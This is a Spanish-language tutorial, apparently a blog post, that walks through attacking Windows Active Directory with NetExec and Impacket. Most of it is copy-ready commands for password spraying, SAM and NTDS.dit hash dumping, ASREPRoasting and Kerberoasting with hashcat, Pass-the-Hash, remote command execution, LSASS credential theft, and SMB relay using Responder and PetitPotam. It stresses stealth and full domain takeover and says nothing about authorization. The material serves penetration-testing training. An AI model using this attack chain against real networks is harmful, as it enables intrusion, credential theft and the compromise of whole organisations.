NetExec: Herramienta Post-Explotación Kali
NetExec: Herramienta Post-Explotación Kali
Hablemos de NetExec (nxc). Si vienes de usar herramientas como CrackMapExec, te sentirás como en casa, ya que NetExec es su sucesor espiritual y actualmente la herramienta estándar para la post-explotación de redes en Kali Linux.
En pocas palabras: es una "navaja suiza" para auditar redes Windows/Active Directory (y más), que permite automatizar la evaluación de seguridad en grandes entornos.
¿Qué hace NetExec?
NetExec se utiliza para interactuar con diversos protocolos de red para verificar credenciales, enumerar recursos compartidos, ejecutar comandos y buscar vulnerabilidades. Su fuerza reside en que puede manejar cientos de objetivos simultáneamente.
Protocolos soportados:
SMB: El más común (Active Directory, archivos compartidos).
WMI: Para ejecución de comandos remotos.
MSSQL: Auditoría de bases de datos.
LDAP: Enumeración de usuarios y grupos en AD.
WinRM, SSH, VNC, FTP y HTTP.
Comandos básicos (Ejemplos prácticos)
Si ya lo tienes instalado en tu Kali (suele venir por defecto o se instala con sudo apt install netexec), aquí tienes cómo empezar:
1. Escaneo de red y detección de SMB
Para ver qué equipos tienen el protocolo SMB activo y si requieren firma de paquetes (SMB Signing):
nxc smb 192.168.1.0/24
2. Prueba de credenciales (Spray)
Para probar un usuario y contraseña contra toda una red:
nxc smb 192.168.1.0/24 -u 'usuario' -p 'password123'
Tip: Si el usuario tiene privilegios de Administrador local, NetExec mostrará un (Pwn3d!) en amarillo.
3. Enumeración de recursos compartidos
Para ver a qué carpetas tienes acceso con las credenciales dadas:
nxc smb 192.168.1.10 -u 'admin' -p 'pass' --shares
4. Volcado de hashes (SAM)
Si tienes privilegios de administrador, puedes extraer los hashes de contraseñas locales:
nxc smb 192.168.1.10 -u 'admin' -p 'pass' --sam
Diferencias clave con CrackMapExec
Código abierto y activo: NetExec es mantenido por la comunidad tras el fin del soporte de CME.
Mejor rendimiento: Es notablemente más rápido y estable en redes grandes.
Protocolos actualizados: Maneja mejor las versiones modernas de SMB y ataques de retransmisión (relay).
¿Cómo aprender más?
La sintaxis general siempre sigue este patrón:
nxc <protocolo> <objetivo(s)> -u <usuario> -p <contraseña> [módulo/opción]
Módulos: Puedes usar
-Mpara listar módulos que automatizan ataques específicos (como buscar archivos con contraseñas o explotar vulnerabilidades como Zerologon).Ayuda: Usa
nxc smb -hpara ver todas las posibilidades de ese protocolo.
Para enumerar usuarios de Active Directory (AD), NetExec es una de las herramientas más potentes porque te permite hacerlo a través de varios protocolos, dependiendo de los permisos que tengas.
Aquí tienes las formas más efectivas de hacerlo, desde una enumeración "ciega" hasta una con credenciales:
1. Enumeración vía RID Brute Force (Sin credenciales)
Si no tienes un usuario válido pero el servidor permite sesiones anónimas (cada vez menos común), puedes intentar adivinar usuarios mediante sus identificadores (RID):
nxc smb 192.168.1.10 -u '' -p '' --rid-brute
Esto probará IDs comunes (como 500 para el Administrador) para ver qué nombres de usuario devuelve el servidor.
2. Enumeración vía LDAP (La más completa)
Si ya tienes un usuario y contraseña válidos (incluso si es un usuario sin privilegios), el protocolo LDAP es el mejor para extraer toda la base de datos de usuarios:
nxc ldap 192.168.1.10 -u 'usuario' -p 'password123' --users
¿Qué información obtienes?
Nombres de usuario y nombres completos.
Descripción de la cuenta (a veces los admins olvidan contraseñas ahí).
Fecha del último cambio de contraseña.
Cuándo expira la cuenta.
3. Enumeración vía RPC / SAMBA
A través de SMB, puedes pedirle al controlador de dominio que te de la lista de usuarios directamente:
nxc smb 192.168.1.10 -u 'usuario' -p 'password123' --users
4. Búsqueda de usuarios específicos (Filtros)
Si la red es enorme y solo buscas cuentas con descripciones interesantes o que no hayan cambiado su clave en mucho tiempo, puedes usar módulos:
Buscar en descripciones:
Bashnxc ldap 192.168.1.10 -u 'usuario' -p 'pass' -M descriptionsVer políticas de contraseñas (para no bloquear cuentas):
Bashnxc smb 192.168.1.10 -u 'usuario' -p 'pass' --pass-pol
Resumen de opciones útiles
| Comando | Función |
--users | Lista todos los usuarios del dominio. |
--groups | Lista los grupos (útil para hallar "Domain Admins"). |
--active-users | Filtra solo los usuarios que no están deshabilitados. |
--rid-brute | Fuerza bruta de IDs de usuario (sin cuenta previa). |
Nota de seguridad: Ten cuidado con el "Password Spraying" (probar una clave contra muchos usuarios). Si la política de contraseñas es estricta, podrías bloquear todas las cuentas de la empresa en segundos. Usa siempre
--pass-polprimero.
El ASREPRoasting es uno de los ataques iniciales más efectivos en Active Directory porque no requiere privilegios y se puede realizar de forma totalmente pasiva (sin tocar el sistema de archivos del objetivo).
¿Qué es el ASREPRoasting?
En términos sencillos: buscas usuarios que tengan activada la opción "Do not require Kerberos preauthentication".
Si un usuario tiene esto activo, puedes pedirle al Controlador de Dominio (DC) un "ticket" de autenticación para ese usuario. El DC te lo enviará cifrado con la contraseña del usuario. Luego, te llevas ese ticket a tu máquina y tratas de romperlo por fuerza bruta (offline) para sacar la contraseña en texto claro.
Paso 1: Enumerar usuarios vulnerables con NetExec
Una vez que tienes una lista de usuarios (o incluso si solo tienes una cuenta de usuario normal), puedes usar el módulo asreproast de NetExec para ver quién es vulnerable y extraer su hash:
nxc ldap 192.168.1.10 -u 'usuario' -p 'password123' --asreproast output.txt
ldap: Usamos el protocolo LDAP porque es el que mejor gestiona los atributos de usuario.--asreproast: El módulo que hace el trabajo sucio.output.txt: Guardará los hashes encontrados en un archivo compatible con herramientas de cracking.
Paso 2: Romper la contraseña (Cracking)
Si NetExec encuentra algún hash, verás una cadena larga que empieza por $krb5asrep$. Ahora toca usar John the Ripper o Hashcat en tu Kali.
Con Hashcat (Recomendado):
El código de modo para Kerberos 5 AS-REP es el 18200.
hashcat -m 18200 output.txt /usr/share/wordlists/rockyou.txt
Con John the Ripper:
john --wordlist=/usr/share/wordlists/rockyou.txt output.txt
¿Por qué funciona tan bien?
Es silencioso: No fallas inicios de sesión, por lo que no bloqueas cuentas.
Es offline: Una vez tienes el hash, puedes probar millones de contraseñas por segundo en tu propia CPU/GPU sin que el administrador de red se entere.
Configuraciones antiguas: Muchos administradores activan esta opción por compatibilidad con aplicaciones viejas y olvidan desactivarla.
Un truco extra: ¿Y si no tengo NINGÚN usuario?
Si ni siquiera tienes un usuario válido para consultar LDAP, puedes intentar hacer el ASREPRoasting proporcionando simplemente una lista de nombres de usuario (obtenida mediante OSINT o rid-brute):
nxc smb 192.168.1.10 -u lista_usuarios.txt -p '' --asreproast output.txt
(Nota: Esto a veces requiere herramientas más específicas como GetNPUsers.py de Impacket, pero NetExec intenta cubrirlo).
El Kerberoasting es el "hermano mayor" del ASREPRoasting. Es uno de los ataques más populares en Active Directory porque, a diferencia del anterior, cualquier usuario autenticado en el dominio (sin importar cuán pocos privilegios tenga) puede solicitar tickets de servicio.
¿Cómo funciona el Kerberoasting?
El objetivo son las cuentas de usuario que tienen un SPN (Service Principal Name) asociado (por ejemplo, una cuenta que corre un servidor SQL o IIS).
Solicitas un ticket (TGS) para ese servicio al Controlador de Dominio.
El DC te entrega el ticket cifrado con el hash de la contraseña de la cuenta de servicio.
Intentas romper ese hash offline en tu máquina Kali.
1. Ejecutar Kerberoasting con NetExec
NetExec facilita enormemente este proceso integrando el módulo de extracción directamente. Solo necesitas una cuenta de usuario válida (incluso una con permisos mínimos):
nxc ldap 192.168.1.10 -u 'usuario' -p 'password123' --kerberoasting output_kerb.txt
ldap: Es el protocolo más eficiente para buscar SPNs.--kerberoasting: El comando mágico que busca cuentas con SPN y extrae sus tickets.output_kerb.txt: El archivo donde se guardarán los hashes (formato listo para crackear).
2. Analizar los resultados
Si NetExec encuentra algo, verás una salida con el nombre del servicio (ej. MSSQLSvc/sql01.domain.local:1433) y un hash que empieza por $krb5tgs$.
¿Por qué estas cuentas son "joyas"?
Contraseñas débiles: A menudo, las cuentas de servicio tienen contraseñas que no se cambian en años.
Altos privilegios: Muchas veces, estas cuentas son Administradores de Dominio o tienen acceso total a bases de datos críticas.
3. Romper el Hash (Cracking)
Una vez que tienes el ticket en tu archivo, pásalo por Hashcat. El código de modo para Kerberos 5 TGS (Ticket Granting Service) es el 13100.
hashcat -m 13100 output_kerb.txt /usr/share/wordlists/rockyou.txt
Comparativa rápida: ASREPRoasting vs. Kerberoasting
| Ataque | Objetivo | Requisito | Frecuencia |
| ASREPRoasting | Usuarios con "Pre-auth" desactivado. | Ninguno (a veces). | Menos común. |
| Kerberoasting | Usuarios con un SPN (servicios). | Cualquier usuario válido. | Muy común en empresas. |
Un consejo de "pro":
Si el entorno es muy grande, NetExec te permite filtrar. Por ejemplo, si solo quieres atacar cuentas de servicio que no sean la del Administrador predeterminado para evitar ruido:
nxc ldap 192.168.1.10 -u 'user' -p 'pass' --kerberoasting output.txt --user-status
(Esto te dirá si la cuenta está activa antes de perder tiempo crackeando un hash de una cuenta deshabilitada).
Entramos en la fase de Movimiento Lateral. Una vez que tienes un hash o una contraseña, el objetivo es "saltar" de la máquina que ya controlas a otras de la red para escalar privilegios o buscar datos sensibles.
En Windows, no siempre necesitas la contraseña en texto plano. Aquí es donde brillan el Pass-the-Hash (PtH) y el Pass-the-Ticket (PtT).
1. Pass-the-Hash (PtH) con NetExec
Este es el ataque estrella. Si conseguiste un hash NTLM (por ejemplo, con --sam o --ntds), puedes iniciar sesión en otras máquinas sin necesidad de crackearlo.
Escenario: Tienes el hash del administrador local (aad3b435...:514...) y quieres ver en qué otras máquinas de la red funciona.
nxc smb 192.168.1.0/24 -u 'Administrator' -H '51426b6f35f05f5530ec8b2d9a6946a1'
-H: Indica que vas a usar el Hash en lugar de la contraseña (-p).Resultado: NetExec probará ese hash en toda la subred. Si ves un (Pwn3d!), tienes control total sobre esa máquina.
Ejecutar comandos con el Hash
Si encuentras una máquina vulnerable, puedes ejecutar comandos directamente:
nxc smb 192.168.1.50 -u 'Administrator' -H 'HASH_AQUÍ' -x 'whoami /all'
2. Pass-the-Ticket (PtT)
Este ataque es más avanzado y se usa cuando has extraído un ticket de Kerberos (un archivo .kirbi). Aquí no usas ni usuario ni contraseña, sino el ticket que "engaña" al sistema haciéndole creer que ya estás autenticado.
Primero, debes configurar tu variable de entorno en Kali para que apunte al ticket:
export KRB5CCNAME=/ruta/al/ticket.ccache
Luego, usas NetExec con el flag -k (Kerberos):
nxc smb nombre_del_equipo.dominio.local -k --shares
Nota: Para que Kerberos funcione, debes usar el Hostname (nombre del equipo), no la IP, y tener bien configurado tu
/etc/hostso el DNS.
3. ¿Qué hacer si tienes la contraseña? (Login Spraying)
Si gracias al Kerberoasting o ASREPRoasting conseguiste la contraseña real, puedes verificar en cuántos equipos ese usuario es Administrador:
nxc smb 192.168.1.0/24 -u 'usuario_crackeado' -p 'password123'
Si el usuario es un "Domain Admin", verás (Pwn3d!) en casi todos los equipos del dominio.
Resumen de Movimiento Lateral
| Método | Herramienta/Flag | Cuándo usarlo |
| Pass-the-Hash | nxc smb ... -H <HASH> | Tienes el hash NTLM pero no la clave. |
| Pass-the-Ticket | nxc smb ... -k | Tienes un ticket de Kerberos válido. |
| Command Exec | nxc smb ... -x 'cmd' | Cuando ya tienes acceso (Pwn3d!). |
| Shell Interactiva | impacket-psexec | Para obtener una terminal real (no solo un comando). |
¿Cuál es el siguiente paso lógico?
Ya sabes moverte. El "juego final" suele ser el Dumping de NTDS.dit. Es el archivo que contiene los hashes de TODOS los usuarios de la empresa.
¡Has llegado al "Santo Grial" del Pentesting en Active Directory! El Dumping del NTDS.dit es el paso final para comprometer por completo un dominio.
El archivo ntds.dit es la base de datos de Active Directory. Contiene los nombres de usuario, grupos y, lo más importante, los hashes de las contraseñas de TODOS los usuarios del dominio.
El objetivo: Extraer el NTDS.dit
Para hacer esto, necesitas privilegios de Domain Admin o ser un usuario con permisos de replicación (como un "Backup Operator").
Método 1: Usando NetExec (Vía DRSUAPI)
NetExec utiliza el protocolo de replicación de directorios para "engañar" al Controlador de Dominio y hacer que le envíe los hashes, sin necesidad de tocar el archivo físico en el disco (lo cual es más silencioso).
nxc smb 192.168.1.10 -u 'admin_del_dominio' -p 'password123' --ntds
192.168.1.10: Debe ser la IP de un Controlador de Dominio (DC).
--ntds: Este flag le dice a NetExec que extraiga todos los hashes NTLM del dominio.
¿Qué obtienes al final?
NetExec te mostrará una lista gigante (o la guardará en su base de datos interna) con este formato:
Administrador:500:aad3b435...:51426b6f35f05f5530ec8b2d9a6946a1:::
Con esto, ahora eres el dueño de la red. Puedes:
Crackear las cuentas que te interesen (como la del CEO o IT).
Pass-the-Hash con cualquier cuenta.
Crear un Golden Ticket (un ticket persistente que te da acceso de administrador por años, incluso si cambian las contraseñas).
Gestión de datos en NetExec
Como habrás notado, NetExec maneja mucha información. No necesitas copiar y pegar todo de la terminal. NetExec tiene una base de datos propia donde guarda todo lo que "pwnes".
Para ver todas las credenciales capturadas:
Bashnxc smb --credsPara ver qué máquinas has comprometido:
Bashnxc smb --hosts
Resumen del camino recorrido
Hemos pasado por todas las fases de un ataque a Active Directory:
Enumeración: Listar usuarios (
--users).Explotación inicial: ASREPRoasting y Kerberoasting.
Movimiento Lateral: Pass-the-Hash (
-H).Privilegios máximos: Dump de NTDS (
--ntds).
La verdadera potencia de NetExec reside en sus módulos. Mientras que los comandos básicos interactúan con los protocolos, los módulos son scripts específicos diseñados para tareas de post-explotación tácticas, como buscar archivos sensibles o explotar vulnerabilidades de configuración.
Aquí tienes cómo usarlos para automatizar la búsqueda de "tesoros" (contraseñas y datos) en la red.
1. ¿Cómo ver y usar módulos?
Para listar todos los módulos disponibles para un protocolo (por ejemplo, SMB):
nxc smb -L
Para usar un módulo, la sintaxis es:
nxc smb <objetivo> -u <user> -p <pass> -M <nombre_del_modulo>
2. Búsqueda automática de contraseñas en archivos
Uno de los errores más comunes de los administradores es dejar archivos con credenciales en carpetas compartidas. NetExec tiene módulos brillantes para esto:
A. Módulo spider_plus (El Rey de la enumeración)
Este módulo recorre todas las carpetas compartidas (shares) y genera un archivo JSON con la lista de todos los archivos encontrados. Además, puede configurarse para buscar extensiones específicas (como .txt, .pdf, .xlsx).
nxc smb 192.168.1.0/24 -u 'usuario' -p 'pass' -M spider_plus
Resultado: Crea un archivo en
/tmp/nxc_hosted/con el mapa completo de archivos de la red.
B. Módulo slurp (Búsqueda de contenido sensible)
Si quieres buscar palabras clave como "password", "clave" o "login" dentro de los nombres de archivos en los servidores:
nxc smb 192.168.1.0/24 -u 'user' -p 'pass' -M slurp -o KEYWORDS=password,config,clavo
3. Módulos de Post-Explotación Críticos
Una vez que tienes una sesión (Pwn3d!), estos módulos automatizan tareas que antes tomaban horas:
| Módulo | Función |
lsassy | Extrae credenciales directamente de la memoria del proceso LSASS (muy potente). |
gpp_password | Busca contraseñas en las Preferencias de Directiva de Grupo (GPO), que a menudo están cifradas con una clave pública conocida. |
get_password | Intenta extraer contraseñas guardadas en navegadores, clientes de correo o sesiones VNC. |
sccm | Busca credenciales en servidores de despliegue de software (SCCM/MECM). |
4. Automatización de Auditoría de Vulnerabilidades
NetExec también puede verificar si los equipos son vulnerables a exploits famosos sin necesidad de lanzar el exploit real (solo chequeo):
Verificar ZeroLogon:
Bashnxc smb 192.168.1.10 -u '' -p '' -M zerologonVerificar PetitPotam (para ataques de Relay):
Bashnxc smb 192.168.1.0/24 -u 'user' -p 'pass' -M petitpotamVerificar NoPac:
Bashnxc smb 192.168.1.10 -u 'user' -p 'pass' -M nopac
5. El "Combo" de Automatización Final
Puedes ejecutar NetExec sobre toda la red para que busque vulnerabilidades, verifique credenciales y extraiga información, todo en una sola línea.
Ejemplo: Buscar sesiones de usuarios administradores en toda la red:
nxc smb 192.168.1.0/24 -u 'usuario_normal' -p 'pass' --loggedon-users
Esto te dirá en qué máquinas hay administradores logueados, para que sepas a dónde saltar y hacer un dump de memoria.
El SMB Relay es uno de los ataques más elegantes y potentes. En lugar de intentar adivinar una contraseña, "engañas" a un equipo de la red para que te envíe su autenticación y tú la retransmites (relay) hacia otro objetivo para ganar acceso.
Para que esto funcione, necesitamos dos herramientas de tu Kali trabajando en equipo:
ntlmrelayx.py (parte de Impacket): Recibe la conexión y la retransmite.
NetExec: Se encarga de encontrar objetivos vulnerables (que no tengan SMB Signing).
El requisito crítico: SMB Signing
Un ataque de Relay solo funciona contra máquinas que tengan el SMB Signing desactivado. Si el "firmado" está activo, la máquina rechazará la retransmisión.
Paso 1: Escanear objetivos con NetExec
Primero, buscamos víctimas potenciales en la red:
nxc smb 192.168.1.0/24 --gen-relay-list objetivos.txt
--gen-relay-list: Este comando filtrará automáticamente todos los equipos que tienen el firmado de SMB desactivado y los guardará enobjetivos.txt.
Paso 2: Configurar el Receptor (ntlmrelayx)
Ahora preparamos nuestra "trampa". Vamos a decirle a ntlmrelayx que escuche cualquier intento de conexión y lo reenvíe a la lista de objetivos que acabamos de crear.
impacket-ntlmrelayx -tf objetivos.txt -smb2support -socks
-tf: Archivo con los objetivos (Target File).-smb2support: Soporte para versiones modernas de Windows.-socks: (Opcional pero recomendado) Crea un proxy SOCKS para que, una vez capturada la sesión, puedas navegar por ella con NetExec más tarde.
Paso 3: Forzar el tráfico (Envenenamiento)
Para que las máquinas nos envíen su autenticación, necesitamos que "intenten hablarnos". En una red real, esto sucede de tres formas:
Esperar: A que un administrador cometa un error tipográfico al buscar una carpeta compartida.
Responder/Responder.py: Usar
responder -I eth0 -rPvpara envenenar protocolos como LLMNR/mDNS.Forzar: Usar un módulo de NetExec para obligar a un servidor a autenticarse contra nosotros (como
petitpotamoprinterbug).
Ejemplo forzando con PetitPotam:
nxc smb 192.168.1.50 -u 'usuario' -p 'pass' -M petitpotam -o LISTENER=TU_IP_KALI
Paso 4: Ejecutar comandos mediante el Relay
Si ntlmrelayx tiene éxito, verás en tu terminal algo como:
Authenticating against 192.168.1.100 as DOMAIN\Admin SUCCEEDED
Si usaste el modo -socks, ahora puedes usar NetExec para ejecutar comandos en esa máquina a través del túnel que acabas de crear, ¡sin saber la contraseña!
proxychains nxc smb 192.168.1.100 -u 'Admin' -p 'lo_que_sea' --sam
Nota: Al usar proxychains con la sesión de relay activa, la contraseña no importa (puedes poner cualquier cosa), NetExec usará el ticket capturado.
Resumen del flujo de trabajo
NetExec: Encuentra quién no tiene SMB Signing (
--gen-relay-list).Responder: Envenena la red para atraer tráfico hacia ti.
ntlmrelayx: Recibe el tráfico y lo lanza contra el objetivo vulnerable.
NetExec + Proxychains: Ejecuta el "Pwn3d!" (SAM dump, ejecución de comandos, etc.).
¡Cuidado! Este ataque es ruidoso. Si hay un EDR (como SentinelOne o Crowdstrike) o un IDS moderno, detectarán el movimiento lateral rápidamente.